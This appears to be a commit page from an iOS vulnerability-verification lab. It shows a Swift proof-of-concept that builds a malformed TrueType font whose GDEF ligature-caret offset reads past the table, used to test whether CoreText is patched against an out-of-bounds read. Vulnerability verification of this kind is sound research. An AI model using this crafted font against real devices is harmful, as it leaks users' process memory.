Cinder27 — iOS 17.0-27.1 vulnerability verification lab: 51 modules, 31 per-CVE POC folders, 11 no-CVE module folders, harness app source

This commit is contained in:
jbjf6666 committed 2026-10-29 02:11:12 +08:00
commit 1ea76ab005
89 files changed
+16485

No files matched your search

+141
View File
@@ -0,0 +1,141 @@
// font.gdef · CoreText · GetLigatureCaretPositionsForGlyph · CVE-2026-112656
// 原语: OOB 读 · 进程内 · tier 2
// Primitive: OOB read · in-process · tier 2
//
// [zh] GDEFLigatureCaret 追链越界读
// GDEF 的 LigCaretList → LigGlyph → CaretValue 偏移在 27.0 被直接跟随:caret 偏移以大端 u16 读出后与 LigGlyph 基址相加,既不检查表尾也不检查符号位。
// CaretValue 偏移由文件控制,指向表外即走出 GDEF,读出的 i16 坐标原样返回给调用者。27.2 将该偏移钳制在 GDEF 表切片内。
//
// [en] GDEFLigatureCaret offset-chain out-of-bounds read
// GDEF LigCaretList → LigGlyph → CaretValue offsets are followed directly on 27.0: the caret offset
// is read as a big-endian u16 and added to the LigGlyph base with neither an end-check nor a sign-check.
// The CaretValue offset is file-controlled, so pointing it outside the table walks out of the GDEF
// and the i16 coordinate read there is handed back to the caller as-is. iOS 27.2 clamps the offset
// against the GDEF table slice.
// ── 判别 / oracle ──
// 种子为结构完整的 TrueType:LigCaretList 覆盖字形 1,CaretValue 偏移 0x7F00 —— 落在字体数据约 32 KB 之外。驱动走公开 API CTFontGetLigatureCaretPositions:追链被跟随时返回非零
// caret 数且坐标为堆残留;被钳制时返回 0。附带记录:GDEF 的另一个消费者 AttachList/AttachPoint 具有同样的偏移追链形状,在本修复窗口内未被触及 —— 负结果同样留档。
import Foundation
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
enum B {
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
static func be32(_ v: UInt32) -> [UInt8] {
[UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)]
}
static func le32(_ v: UInt32) -> [UInt8] {
[UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)]
}
static func be64(_ v: UInt64) -> [UInt8] {
(0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) }
}
static func le64(_ v: UInt64) -> [UInt8] {
(0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) }
}
static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) }
static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) }
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
}
// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (FontPayload) ──
enum FontPayload {
static func gdefCaretChase() -> Data {
var tables: [(String, [UInt8])] = []
// head
var head = [UInt8](repeating: 0, count: 54)
head[0] = 0x00; head[1] = 0x01; head[2] = 0x00; head[3] = 0x00
head[4] = 0x00; head[5] = 0x01; head[6] = 0x00; head[7] = 0x00
head[12] = 0x5F; head[13] = 0x0F // magic
tables.append(("head", head))
// hhea
var hhea = [UInt8](repeating: 0, count: 36)
hhea[0] = 0x00; hhea[1] = 0x01
hhea[34] = 0x00; hhea[35] = 0x00
tables.append(("hhea", hhea))
// maxp
var maxp = [UInt8](repeating: 0, count: 32)
maxp[0] = 0x00; maxp[1] = 0x00; maxp[2] = 0x50; maxp[3] = 0x00
maxp[4] = 0x00; maxp[5] = 0x01
tables.append(("maxp", maxp))
// hmtx
tables.append(("hmtx", [0x02, 0x00, 0x00, 0x00]))
// loca (short format, 2 glyphs)
tables.append(("loca", [0x00, 0x00, 0x00, 0x04]))
// glyf
tables.append(("glyf", [0x00, 0x00, 0x00, 0x00]))
// cmap (format 4, minimal)
var cmap = [UInt8]()
cmap += B.be16(0) + B.be16(1)
cmap += B.be16(3) + B.be16(1) + B.be32(12)
cmap += B.be16(4) + B.be16(24) + B.be16(0)
cmap += B.be16(2) + B.be16(2) + B.be16(0) + B.be16(0)
cmap += B.be16(0xFFFF) + B.be16(0) + B.be16(0)
tables.append(("cmap", cmap))
// GDEF with a LigCaretList whose CaretValue offset runs past the table
var gdef = [UInt8]()
gdef += B.be16(0x0001) + B.be16(0x0000) // version 1.0
gdef += B.be16(0x0000) // glyphClassDefOffset — absent
gdef += B.be16(0x0000) // attachListOffset — absent
gdef += B.be16(0x000C) // ligCaretListOffset → 12
gdef += B.be16(0x0000) // markAttachClassDefOffset — absent
// LigCaretList at 12
gdef += B.be16(0x000C) // coverageOffset → 24
gdef += B.be16(0x0001) // ligGlyphCount
gdef += B.be16(0x0010) // ligGlyphOffsets[0] → 28
gdef += B.be16(0x0000) // pad
// Coverage at 24: format 1, glyph 1
gdef += B.be16(0x0001) + B.be16(0x0001) + B.be16(0x0001)
// LigGlyph at 28
gdef += B.be16(0x0001) // caretCount
gdef += B.be16(0x7F00) // caretValueOffsets[0] — ~32 KB past the table
tables.append(("GDEF", gdef))
// --- assemble
let numTables = UInt16(tables.count)
var header = Data()
header.append(contentsOf: B.be32(0x0001_0000))
header.append(contentsOf: B.be16(numTables))
var searchRange: UInt16 = 1
var entrySelector: UInt16 = 0
while searchRange * 2 <= numTables { searchRange *= 2; entrySelector += 1 }
searchRange *= 16
header.append(contentsOf: B.be16(searchRange))
header.append(contentsOf: B.be16(entrySelector))
header.append(contentsOf: B.be16(numTables * 16 - searchRange))
var body = Data()
var offset = 12 + Int(numTables) * 16
var records = Data()
var blobs = Data()
for (tag, bytes) in tables.sorted(by: { $0.0 < $1.0 }) {
records.append(contentsOf: B.ascii(tag))
records.append(contentsOf: B.be32(0x0001_0000)) // checksum (unchecked by parsers)
records.append(contentsOf: B.be32(UInt32(offset)))
records.append(contentsOf: B.be32(UInt32(bytes.count)))
var padded = bytes
while padded.count % 4 != 0 { padded.append(0) }
blobs.append(contentsOf: padded)
offset += padded.count
}
body.append(records)
body.append(blobs)
var out = Data()
out.append(header)
out.append(body)
return out
}
}